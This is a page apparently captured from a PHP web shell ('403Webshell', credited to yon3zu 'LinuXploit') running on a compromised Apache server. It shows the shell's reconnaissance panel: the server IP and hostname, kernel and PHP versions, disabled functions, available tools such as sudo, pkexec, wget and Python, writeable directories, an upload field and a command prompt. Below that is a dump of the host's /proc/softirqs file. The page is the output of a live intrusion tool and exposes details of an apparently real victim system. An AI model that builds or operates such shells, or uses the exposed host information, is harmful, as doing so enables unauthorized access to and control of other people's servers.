403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      
          HI:          5          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER: 1318910789 1121268264 1194152392 1198273774 1504490991 1533523924 1258845309  998938204  979391142 1069032881 1068357289 1017807655 1212182462 1335003557  761168849  666921428  614888000  603028064  442205809  754643570  788265356  681812876  565246562  540127403
      NET_TX:     574159      17866      18075      13576    1194283    1193335      13011      13756      14350      15563      15653      15200    1069089    1124019       1721       1654       3080       3270       1131       1367       1520       1551       1547       1555
      NET_RX:   25737989   25769920   26538303   23664029  369196149  371491626   20978945   21379873   23659166   25094182   24972365   24339452  365556619  365230160    7525156    7523507    8283091    7642724    3567034   12527320   11038524    7459174    5475500    4697309
       BLOCK:  206603341     169814      83279      44368      24121       6947   14001962   16107354   16812307   19597774   19802054   18875634      24554       3060       2516       1875       1618       1031    3495909    2813088    2899285    2955483    3187816    3496933
BLOCK_IOPOLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:        204          0          7          5   49211180   49309815         21          2          2          2          1          2   48782348   48681457          0          0          0          0          0          0          0          0          0          5
       SCHED: 1450666049  704720785  407881323  330603531  368250661  363356212  260091028  238361719  235517442  260665010  262522103  251450055  259665519  251265988  112353596  106515817  106274159  107728678   85552035  114422554  123363091  107052721   93053049   98304032
     HRTIMER:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU:  554696842  474169815  502621186  502827487  618157441  632009801  557219353  436074727  421528110  443688548  441772730  427789467  477273405  517977369  297621200  270779235  254308570  244915969  171448599  283987381  288479528  263530049  228773050  211881907

Youez - 2016 - github.com/yon3zu
LinuXploit